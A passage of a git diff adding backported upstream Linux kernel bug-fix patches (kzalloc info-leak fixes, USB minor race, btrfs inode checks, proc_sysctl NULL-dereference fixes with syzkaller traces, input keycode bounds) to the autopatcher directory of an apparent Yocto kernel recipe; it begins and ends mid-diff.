return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + for (i = 0; i < 4; i++) { + report = hid_validate_values(hid, HID_OUTPUT_REPORT, 0, i, 1); + if (!report) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0617.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0617.diff new file mode 100644 index 0000000..d68a57c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0617.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/media/usb/ttusb-dec/ttusb_dec.c b/drivers/media/usb/ttusb-dec/ttusb_dec.c +index 15ab584..1eda241 100644 +--- a/drivers/media/usb/ttusb-dec/ttusb_dec.c ++++ b/drivers/media/usb/ttusb-dec/ttusb_dec.c +@@ -272,7 +272,7 @@ + + dprintk("%s\n", __func__); + +- b = kmalloc(COMMAND_PACKET_SIZE + 4, GFP_KERNEL); ++ b = kzalloc(COMMAND_PACKET_SIZE + 4, GFP_KERNEL); + if (!b) + return -ENOMEM; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0618.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0618.diff new file mode 100644 index 0000000..08e93ba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0618.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_core.c b/drivers/net/can/usb/peak_usb/pcan_usb_core.c +index c95076c..ef0827f 100644 +--- a/drivers/net/can/usb/peak_usb/pcan_usb_core.c ++++ b/drivers/net/can/usb/peak_usb/pcan_usb_core.c +@@ -732,7 +732,7 @@ + dev = netdev_priv(netdev); + + /* allocate a buffer large enough to send commands */ +- dev->cmd_buf = kmalloc(PCAN_USB_MAX_CMD_LEN, GFP_KERNEL); ++ dev->cmd_buf = kzalloc(PCAN_USB_MAX_CMD_LEN, GFP_KERNEL); + if (!dev->cmd_buf) { + err = -ENOMEM; + goto lbl_free_candev; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0619.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0619.diff new file mode 100644 index 0000000..4a3d0fb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0619.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +index f7f796a..9c42701 100644 +--- a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c ++++ b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +@@ -508,7 +508,7 @@ + u8 *buffer; + int err; + +- buffer = kmalloc(PCAN_USBPRO_FCT_DRVLD_REQ_LEN, GFP_KERNEL); ++ buffer = kzalloc(PCAN_USBPRO_FCT_DRVLD_REQ_LEN, GFP_KERNEL); + if (!buffer) + return -ENOMEM; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0620.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0620.diff new file mode 100644 index 0000000..742c74d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0620.diff @@ -0,0 +1,45 @@ +diff --git a/drivers/usb/core/file.c b/drivers/usb/core/file.c +index b3de806..097977c 100644 +--- a/drivers/usb/core/file.c ++++ b/drivers/usb/core/file.c +@@ -191,9 +191,10 @@ + intf->minor = minor; + break; + } +- up_write(&minor_rwsem); +- if (intf->minor < 0) ++ if (intf->minor < 0) { ++ up_write(&minor_rwsem); + return -EXFULL; ++ } + + /* create a usb class device for this usb interface */ + snprintf(name, sizeof(name), class_driver->name, minor - minor_base); +@@ -206,12 +207,11 @@ + MKDEV(USB_MAJOR, minor), class_driver, + "%s", temp); + if (IS_ERR(intf->usb_dev)) { +- down_write(&minor_rwsem); + usb_minors[minor] = NULL; + intf->minor = -1; +- up_write(&minor_rwsem); + retval = PTR_ERR(intf->usb_dev); + } ++ up_write(&minor_rwsem); + return retval; + } + EXPORT_SYMBOL_GPL(usb_register_dev); +@@ -237,12 +237,12 @@ + return; + + dev_dbg(&intf->dev, "removing %d minor\n", intf->minor); ++ device_destroy(usb_class->class, MKDEV(USB_MAJOR, intf->minor)); + + down_write(&minor_rwsem); + usb_minors[intf->minor] = NULL; + up_write(&minor_rwsem); + +- device_destroy(usb_class->class, MKDEV(USB_MAJOR, intf->minor)); + intf->usb_dev = NULL; + intf->minor = -1; + destroy_usb_class(); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0621.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0621.diff new file mode 100644 index 0000000..02fef7f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0621.diff @@ -0,0 +1,114 @@ +diff --git a/fs/btrfs/inode.c b/fs/btrfs/inode.c +index 767066f..17e49d8 100644 +--- a/fs/btrfs/inode.c ++++ b/fs/btrfs/inode.c +@@ -4945,11 +4945,13 @@ + } + + /* +- * this returns the key found in the dir entry in the location pointer. ++ * Return the key found in the dir entry in the location pointer, fill @type ++ * with BTRFS_FT_*, and return 0. ++ * + * If no dir entries were found, location->objectid is 0. + */ + static int btrfs_inode_by_name(struct inode *dir, struct dentry *dentry, +- struct btrfs_key *location) ++ struct btrfs_key *location, u8 *type) + { + const char *name = dentry->d_name.name; + int namelen = dentry->d_name.len; +@@ -4971,6 +4973,8 @@ + goto out_err; + + btrfs_dir_item_key_to_cpu(path->nodes[0], di, location); ++ if (!ret) ++ *type = btrfs_dir_type(path->nodes[0], di); + out: + btrfs_free_path(path); + return ret; +@@ -5249,19 +5253,25 @@ + return inode; + } + ++static inline u8 btrfs_inode_type(struct inode *inode) ++{ ++ return btrfs_type_by_mode[(inode->i_mode & S_IFMT) >> S_SHIFT]; ++} ++ + struct inode *btrfs_lookup_dentry(struct inode *dir, struct dentry *dentry) + { + struct inode *inode; + struct btrfs_root *root = BTRFS_I(dir)->root; + struct btrfs_root *sub_root = root; + struct btrfs_key location; ++ u8 di_type = 0; + int index; + int ret = 0; + + if (dentry->d_name.len > BTRFS_NAME_LEN) + return ERR_PTR(-ENAMETOOLONG); + +- ret = btrfs_inode_by_name(dir, dentry, &location); ++ ret = btrfs_inode_by_name(dir, dentry, &location, &di_type); + if (ret < 0) + return ERR_PTR(ret); + +@@ -5270,6 +5280,18 @@ + + if (location.type == BTRFS_INODE_ITEM_KEY) { + inode = btrfs_iget(dir->i_sb, &location, root, NULL); ++ if (IS_ERR(inode)) ++ return inode; ++ ++ /* Do extra check against inode mode with di_type */ ++ if (btrfs_inode_type(inode) != di_type) { ++ btrfs_crit(root->fs_info, ++"inode mode mismatch with dir: inode mode=0%o btrfs type=%u dir type=%u", ++ inode->i_mode, btrfs_inode_type(inode), ++ di_type); ++ iput(inode); ++ return ERR_PTR(-EUCLEAN); ++ } + return inode; + } + +@@ -5878,11 +5900,6 @@ + return ERR_PTR(ret); + } + +-static inline u8 btrfs_inode_type(struct inode *inode) +-{ +- return btrfs_type_by_mode[(inode->i_mode & S_IFMT) >> S_SHIFT]; +-} +- + /* + * utility function to add 'inode' into 'parent_inode' with + * a give name and a given sequence number. +@@ -6469,6 +6486,14 @@ + extent_start = found_key.offset; + if (found_type == BTRFS_FILE_EXTENT_REG || + found_type == BTRFS_FILE_EXTENT_PREALLOC) { ++ /* Only regular file could have regular/prealloc extent */ ++ if (!S_ISREG(inode->i_mode)) { ++ ret = -EUCLEAN; ++ btrfs_crit(root->fs_info, ++ "regular/prealloc extent found for non-regular inode %llu", ++ btrfs_ino(inode)); ++ goto out; ++ } + extent_end = extent_start + + btrfs_file_extent_num_bytes(leaf, item); + } else if (found_type == BTRFS_FILE_EXTENT_INLINE) { +diff --git a/fs/btrfs/tests/inode-tests.c b/fs/btrfs/tests/inode-tests.c +index 3ae0f5b..cccdbfe 100644 +--- a/fs/btrfs/tests/inode-tests.c ++++ b/fs/btrfs/tests/inode-tests.c +@@ -235,6 +235,7 @@ + return ret; + } + ++ inode->i_mode = S_IFREG; + BTRFS_I(inode)->location.type = BTRFS_INODE_ITEM_KEY; + BTRFS_I(inode)->location.objectid = BTRFS_FIRST_FREE_OBJECTID; + BTRFS_I(inode)->location.offset = 0; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0622.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0622.diff new file mode 100644 index 0000000..e2908e8 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0622.diff @@ -0,0 +1,31 @@ +diff --git a/drivers/net/can/usb/kvaser_usb.c b/drivers/net/can/usb/kvaser_usb.c +index a50b32b..f00dc02 100644 +--- a/drivers/net/can/usb/kvaser_usb.c ++++ b/drivers/net/can/usb/kvaser_usb.c +@@ -580,7 +580,7 @@ + return -ENOMEM; + } + +- buf = kmalloc(sizeof(struct kvaser_msg), GFP_ATOMIC); ++ buf = kzalloc(sizeof(struct kvaser_msg), GFP_ATOMIC); + if (!buf) { + usb_free_urb(urb); + return -ENOMEM; +@@ -1114,7 +1114,7 @@ + struct kvaser_msg *msg; + int rc; + +- msg = kmalloc(sizeof(*msg), GFP_KERNEL); ++ msg = kzalloc(sizeof(*msg), GFP_KERNEL); + if (!msg) + return -ENOMEM; + +@@ -1227,7 +1227,7 @@ + struct kvaser_msg *msg; + int rc; + +- msg = kmalloc(sizeof(*msg), GFP_KERNEL); ++ msg = kzalloc(sizeof(*msg), GFP_KERNEL); + if (!msg) + return -ENOMEM; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0623.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0623.diff new file mode 100644 index 0000000..05eab8c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0623.diff @@ -0,0 +1,27 @@ +diff --git a/drivers/scsi/libsas/sas_discover.c b/drivers/scsi/libsas/sas_discover.c +index 60de662..b200edc 100644 +--- a/drivers/scsi/libsas/sas_discover.c ++++ b/drivers/scsi/libsas/sas_discover.c +@@ -97,12 +97,21 @@ + else + dev->dev_type = SAS_SATA_DEV; + dev->tproto = SAS_PROTOCOL_SATA; +- } else { ++ } else if (port->oob_mode == SAS_OOB_MODE) { + struct sas_identify_frame *id = + (struct sas_identify_frame *) dev->frame_rcvd; + dev->dev_type = id->dev_type; + dev->iproto = id->initiator_bits; + dev->tproto = id->target_bits; ++ } else { ++ /* If the oob mode is OOB_NOT_CONNECTED, the port is ++ * disconnected due to race with PHY down. We cannot ++ * continue to discover this port ++ */ ++ sas_put_device(dev); ++ pr_warn("Port %016llx is disconnected when discovering\n", ++ SAS_ADDR(port->attached_sas_addr)); ++ return -ENODEV; + } + + sas_init_dev(dev); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0624.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0624.diff new file mode 100644 index 0000000..6dd0c08 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0624.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/media/usb/cpia2/cpia2_v4l.c b/drivers/media/usb/cpia2/cpia2_v4l.c +index d793c63..05e7edb 100644 +--- a/drivers/media/usb/cpia2/cpia2_v4l.c ++++ b/drivers/media/usb/cpia2/cpia2_v4l.c +@@ -1248,8 +1248,7 @@ + LOG("%s v%s\n", + ABOUT, CPIA_VERSION); + check_parameters(); +- cpia2_usb_init(); +- return 0; ++ return cpia2_usb_init(); + } + + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0625-beb70e5c511c-fsprocprocsysctlc fix NULL pointer dereference in putlinks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0625-beb70e5c511c-fsprocprocsysctlc fix NULL pointer dereference in putlinks.patch new file mode 100644 index 0000000..65bfc8d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0625-beb70e5c511c-fsprocprocsysctlc fix NULL pointer dereference in putlinks.patch @@ -0,0 +1,101 @@ +From beb70e5c511ca99454c20334c56499fd413c1d6d Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Thu, 28 Mar 2019 20:44:40 -0700 +Subject: fs/proc/proc_sysctl.c: fix NULL pointer dereference in put_links + +commit 23da9588037ecdd4901db76a5b79a42b529c4ec3 upstream. + +Syzkaller reports: + +kasan: GPF could be caused by NULL-ptr deref or user memory access +general protection fault: 0000 [#1] SMP KASAN PTI +CPU: 1 PID: 5373 Comm: syz-executor.0 Not tainted 5.0.0-rc8+ #3 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +RIP: 0010:put_links+0x101/0x440 fs/proc/proc_sysctl.c:1599 +Code: 00 0f 85 3a 03 00 00 48 8b 43 38 48 89 44 24 20 48 83 c0 38 48 89 c2 48 89 44 24 28 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c 02 00 0f 85 fe 02 00 00 48 8b 74 24 20 48 c7 c7 60 2a 9d 91 +RSP: 0018:ffff8881d828f238 EFLAGS: 00010202 +RAX: dffffc0000000000 RBX: ffff8881e01b1140 RCX: ffffffff8ee98267 +RDX: 0000000000000007 RSI: ffffc90001479000 RDI: ffff8881e01b1178 +RBP: dffffc0000000000 R08: ffffed103ee27259 R09: ffffed103ee27259 +R10: 0000000000000001 R11: ffffed103ee27258 R12: fffffffffffffff4 +R13: 0000000000000006 R14: ffff8881f59838c0 R15: dffffc0000000000 +FS: 00007f072254f700(0000) GS:ffff8881f7100000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00007fff8b286668 CR3: 00000001f0542002 CR4: 00000000007606e0 +DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +PKRU: 55555554 +Call Trace: + drop_sysctl_table+0x152/0x9f0 fs/proc/proc_sysctl.c:1629 + get_subdir fs/proc/proc_sysctl.c:1022 [inline] + __register_sysctl_table+0xd65/0x1090 fs/proc/proc_sysctl.c:1335 + br_netfilter_init+0xbc/0x1000 [br_netfilter] + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462e99 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 +RSP: 002b:00007f072254ec58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139 +RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 +RDX: 0000000000000000 RSI: 0000000020000280 RDI: 0000000000000003 +RBP: 00007f072254ec70 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007f072254f6bc +R13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004 +Modules linked in: br_netfilter(+) dvb_usb_dibusb_mc_common dib3000mc dibx000_common dvb_usb_dibusb_common dvb_usb_dw2102 dvb_usb classmate_laptop palmas_regulator cn videobuf2_v4l2 v4l2_common snd_soc_bd28623 mptbase snd_usb_usx2y snd_usbmidi_lib snd_rawmidi wmi libnvdimm lockd sunrpc grace rc_kworld_pc150u rc_core rtc_da9063 sha1_ssse3 i2c_cros_ec_tunnel adxl34x_spi adxl34x nfnetlink lib80211 i5500_temp dvb_as102 dvb_core videobuf2_common videodev media videobuf2_vmalloc videobuf2_memops udc_core lnbp22 leds_lp3952 hid_roccat_ryos s1d13xxxfb mtd vport_geneve openvswitch nf_conncount nf_nat_ipv6 nsh geneve udp_tunnel ip6_udp_tunnel snd_soc_mt6351 sis_agp phylink snd_soc_adau1761_spi snd_soc_adau1761 snd_soc_adau17x1 snd_soc_core snd_pcm_dmaengine ac97_bus snd_compress snd_soc_adau_utils snd_soc_sigmadsp_regmap snd_soc_sigmadsp raid_class hid_roccat_konepure hid_roccat_common hid_roccat c2port_duramar2150 core mdio_bcm_unimac iptable_security iptable_raw iptable_mangle + iptable_nat nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim devlink vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel joydev mousedev ide_pci_generic piix aesni_intel aes_x86_64 ide_core crypto_simd atkbd cryptd glue_helper serio_raw ata_generic pata_acpi i2c_piix4 floppy sch_fq_codel ip_tables x_tables ipv6 [last unloaded: lm73] +Dumping ftrace buffer: + (ftrace buffer empty) +---[ end trace 770020de38961fd0 ]--- + +A new dir entry can be created in get_subdir and its 'header->parent' is +set to NULL. Only after insert_header success, it will be set to 'dir', +otherwise 'header->parent' is set to NULL and drop_sysctl_table is called. +However in err handling path of get_subdir, drop_sysctl_table also be +called on 'new->header' regardless its value of parent pointer. Then +put_links is called, which triggers NULL-ptr deref when access member of +header->parent. + +In fact we have multiple error paths which call drop_sysctl_table() there, +upon failure on insert_links() we also call drop_sysctl_table().And even +in the successful case on __register_sysctl_table() we still always call +drop_sysctl_table().This patch fix it. + +Link: http://lkml.kernel.org/r/20190314085527.13244-1-yuehaibing@huawei.com +Fixes: 0e47c99d7fe25 ("sysctl: Replace root_list with links between sysctl_table_sets") +Signed-off-by: YueHaibing +Reported-by: Hulk Robot +Acked-by: Luis Chamberlain +Cc: Kees Cook +Cc: Alexey Dobriyan +Cc: Alexei Starovoitov +Cc: Daniel Borkmann +Cc: Al Viro +Cc: Eric W. Biederman +Cc: [3.4+] +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/proc/proc_sysctl.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/fs/proc/proc_sysctl.c b/fs/proc/proc_sysctl.c +index b9226c7e0a885..2a7e8c85b6e30 100644 +--- a/fs/proc/proc_sysctl.c ++++ b/fs/proc/proc_sysctl.c +@@ -1512,7 +1512,8 @@ static void drop_sysctl_table(struct ctl_table_header *header) + if (--header->nreg) + return; + +- put_links(header); ++ if (parent) ++ put_links(header); + start_unregistering(header); + if (!--header->count) + kfree_rcu(header, rcu); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0626-7ab3ca7f1461-fsprocprocsysctlc Fix a NULL pointer dereference.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0626-7ab3ca7f1461-fsprocprocsysctlc Fix a NULL pointer dereference.patch new file mode 100644 index 0000000..bf9b0e5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0626-7ab3ca7f1461-fsprocprocsysctlc Fix a NULL pointer dereference.patch @@ -0,0 +1,99 @@ +From 7ab3ca7f14619a36ae7fc66d92a485672a12c3db Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Thu, 25 Apr 2019 22:24:05 -0700 +Subject: fs/proc/proc_sysctl.c: Fix a NULL pointer dereference + +commit 89189557b47b35683a27c80ee78aef18248eefb4 upstream. + +Syzkaller report this: + + sysctl could not get directory: /net//bridge -12 + kasan: CONFIG_KASAN_INLINE enabled + kasan: GPF could be caused by NULL-ptr deref or user memory access + general protection fault: 0000 [#1] SMP KASAN PTI + CPU: 1 PID: 7027 Comm: syz-executor.0 Tainted: G C 5.1.0-rc3+ #8 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 + RIP: 0010:__write_once_size include/linux/compiler.h:220 [inline] + RIP: 0010:__rb_change_child include/linux/rbtree_augmented.h:144 [inline] + RIP: 0010:__rb_erase_augmented include/linux/rbtree_augmented.h:186 [inline] + RIP: 0010:rb_erase+0x5f4/0x19f0 lib/rbtree.c:459 + Code: 00 0f 85 60 13 00 00 48 89 1a 48 83 c4 18 5b 5d 41 5c 41 5d 41 5e 41 5f c3 48 89 f2 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c 02 00 0f 85 75 0c 00 00 4d 85 ed 4c 89 2e 74 ce 4c 89 ea 48 + RSP: 0018:ffff8881bb507778 EFLAGS: 00010206 + RAX: dffffc0000000000 RBX: ffff8881f224b5b8 RCX: ffffffff818f3f6a + RDX: 000000000000000a RSI: 0000000000000050 RDI: ffff8881f224b568 + RBP: 0000000000000000 R08: ffffed10376a0ef4 R09: ffffed10376a0ef4 + R10: 0000000000000001 R11: ffffed10376a0ef4 R12: ffff8881f224b558 + R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 + FS: 00007f3e7ce13700(0000) GS:ffff8881f7300000(0000) knlGS:0000000000000000 + CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 + CR2: 00007fd60fbe9398 CR3: 00000001cb55c001 CR4: 00000000007606e0 + DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 + DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 + PKRU: 55555554 + Call Trace: + erase_entry fs/proc/proc_sysctl.c:178 [inline] + erase_header+0xe3/0x160 fs/proc/proc_sysctl.c:207 + start_unregistering fs/proc/proc_sysctl.c:331 [inline] + drop_sysctl_table+0x558/0x880 fs/proc/proc_sysctl.c:1631 + get_subdir fs/proc/proc_sysctl.c:1022 [inline] + __register_sysctl_table+0xd65/0x1090 fs/proc/proc_sysctl.c:1335 + br_netfilter_init+0x68/0x1000 [br_netfilter] + do_one_initcall+0xbc/0x47d init/main.c:901 + do_init_module+0x1b5/0x547 kernel/module.c:3456 + load_module+0x6405/0x8c10 kernel/module.c:3804 + __do_sys_finit_module+0x162/0x190 kernel/module.c:3898 + do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + Modules linked in: br_netfilter(+) backlight comedi(C) hid_sensor_hub max3100 ti_ads8688 udc_core fddi snd_mona leds_gpio rc_streamzap mtd pata_netcell nf_log_common rc_winfast udp_tunnel snd_usbmidi_lib snd_usb_toneport snd_usb_line6 snd_rawmidi snd_seq_device snd_hwdep videobuf2_v4l2 videobuf2_common videodev media videobuf2_vmalloc videobuf2_memops rc_gadmei_rm008z 8250_of smm665 hid_tmff hid_saitek hwmon_vid rc_ati_tv_wonder_hd_600 rc_core pata_pdc202xx_old dn_rtmsg as3722 ad714x_i2c ad714x snd_soc_cs4265 hid_kensington panel_ilitek_ili9322 drm drm_panel_orientation_quirks ipack cdc_phonet usbcore phonet hid_jabra hid extcon_arizona can_dev industrialio_triggered_buffer kfifo_buf industrialio adm1031 i2c_mux_ltc4306 i2c_mux ipmi_msghandler mlxsw_core snd_soc_cs35l34 snd_soc_core snd_pcm_dmaengine snd_pcm snd_timer ac97_bus snd_compress snd soundcore gpio_da9055 uio ecdh_generic mdio_thunder of_mdio fixed_phy libphy mdio_cavium iptable_security iptable_raw iptable_mangle + iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun joydev mousedev ppdev tpm kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel ide_pci_generic piix aes_x86_64 crypto_simd cryptd ide_core glue_helper input_leds psmouse intel_agp intel_gtt serio_raw ata_generic i2c_piix4 agpgart pata_acpi parport_pc parport floppy rtc_cmos sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: br_netfilter] + Dumping ftrace buffer: + (ftrace buffer empty) + ---[ end trace 68741688d5fbfe85 ]--- + +commit 23da9588037e ("fs/proc/proc_sysctl.c: fix NULL pointer +dereference in put_links") forgot to handle start_unregistering() case, +while header->parent is NULL, it calls erase_header() and as seen in the +above syzkaller call trace, accessing &header->parent->root will trigger +a NULL pointer dereference. + +As that commit explained, there is also no need to call +start_unregistering() if header->parent is NULL. + +Link: http://lkml.kernel.org/r/20190409153622.28112-1-yuehaibing@huawei.com +Fixes: 23da9588037e ("fs/proc/proc_sysctl.c: fix NULL pointer dereference in put_links") +Fixes: 0e47c99d7fe25 ("sysctl: Replace root_list with links between sysctl_table_sets") +Signed-off-by: YueHaibing +Reported-by: Hulk Robot +Reviewed-by: Kees Cook +Cc: Luis Chamberlain +Cc: Alexey Dobriyan +Cc: Al Viro +Cc: "Eric W. Biederman" +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/proc/proc_sysctl.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/fs/proc/proc_sysctl.c b/fs/proc/proc_sysctl.c +index 2a7e8c85b6e30..96b780a01016c 100644 +--- a/fs/proc/proc_sysctl.c ++++ b/fs/proc/proc_sysctl.c +@@ -1512,9 +1512,11 @@ static void drop_sysctl_table(struct ctl_table_header *header) + if (--header->nreg) + return; + +- if (parent) ++ if (parent) { + put_links(header); +- start_unregistering(header); ++ start_unregistering(header); ++ } ++ + if (!--header->count) + kfree_rcu(header, rcu); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0627.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0627.diff new file mode 100644 index 0000000..39fdc1d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0627.diff @@ -0,0 +1,18 @@ +diff --git a/net/dccp/feat.c b/net/dccp/feat.c +index bf767d2..c606e1e 100644 +--- a/net/dccp/feat.c ++++ b/net/dccp/feat.c +@@ -738,7 +738,12 @@ + if (dccp_feat_clone_sp_val(&fval, sp_val, sp_len)) + return -ENOMEM; + +- return dccp_feat_push_change(fn, feat, is_local, mandatory, &fval); ++ if (dccp_feat_push_change(fn, feat, is_local, mandatory, &fval)) { ++ kfree(fval.sp.vec); ++ return -ENOMEM; ++ } ++ ++ return 0; + } + + /** diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0628.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0628.diff new file mode 100644 index 0000000..a102705 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0628.diff @@ -0,0 +1,47 @@ +diff --git a/drivers/input/input.c b/drivers/input/input.c +index 34aae7e..e5be8b6 100644 +--- a/drivers/input/input.c ++++ b/drivers/input/input.c +@@ -845,16 +845,18 @@ + } + } + +- __clear_bit(*old_keycode, dev->keybit); +- __set_bit(ke->keycode, dev->keybit); +- +- for (i = 0; i < dev->keycodemax; i++) { +- if (input_fetch_keycode(dev, i) == *old_keycode) { +- __set_bit(*old_keycode, dev->keybit); +- break; /* Setting the bit twice is useless, so break */ ++ if (*old_keycode <= KEY_MAX) { ++ __clear_bit(*old_keycode, dev->keybit); ++ for (i = 0; i < dev->keycodemax; i++) { ++ if (input_fetch_keycode(dev, i) == *old_keycode) { ++ __set_bit(*old_keycode, dev->keybit); ++ /* Setting the bit twice is useless, so break */ ++ break; ++ } + } + } + ++ __set_bit(ke->keycode, dev->keybit); + return 0; + } + +@@ -910,9 +912,13 @@ + * Simulate keyup event if keycode is not present + * in the keymap anymore + */ +- if (test_bit(EV_KEY, dev->evbit) && +- !is_event_supported(old_keycode, dev->keybit, KEY_MAX) && +- __test_and_clear_bit(old_keycode, dev->key)) { ++ if (old_keycode > KEY_MAX) { ++ dev_warn(dev->dev.parent ?: &dev->dev, ++ "%s: got too big old keycode %#x\n", ++ __func__, old_keycode); ++ } else if (test_bit(EV_KEY, dev->evbit) && ++ !is_event_supported(old_keycode, dev->keybit, KEY_MAX) && ++ __test_and_clear_bit(old_keycode, dev->key)) { + struct input_value vals[] = { + { EV_KEY, old_keycode, 0 }, + input_value_sync diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0629.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0629.diff new file mode 100644 index 0000000..b0c53ea --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0629.diff @@ -0,0 +1,63 @@ +diff --git a/drivers/media/usb/go7007/snd-go7007.c b/drivers/media/usb/go7007/snd-go7007.c +index d22d7d5..803d47a 100644 +--- a/drivers/media/usb/go7007/snd-go7007.c ++++ b/drivers/media/usb/go7007/snd-go7007.c +@@ -243,22 +243,18 @@ + gosnd->capturing = 0; + ret = snd_card_new(go->dev, index[dev], id[dev], THIS_MODULE, 0, + &gosnd->card); +- if (ret < 0) { +- kfree(gosnd); +- return ret; +- } ++ if (ret < 0) ++ goto free_snd; ++ + ret = snd_device_new(gosnd->card, SNDRV_DEV_LOWLEVEL, go, + &go7007_snd_device_ops); +- if (ret < 0) { +- kfree(gosnd); +- return ret; +- } ++ if (ret < 0) ++ goto free_card; ++ + ret = snd_pcm_new(gosnd->card, "go7007", 0, 0, 1, &gosnd->pcm); +- if (ret < 0) { +- snd_card_free(gosnd->card); +- kfree(gosnd); +- return ret; +- } ++ if (ret < 0) ++ goto free_card; ++ + strlcpy(gosnd->card->driver, "go7007", sizeof(gosnd->card->driver)); + strlcpy(gosnd->card->shortname, go->name, 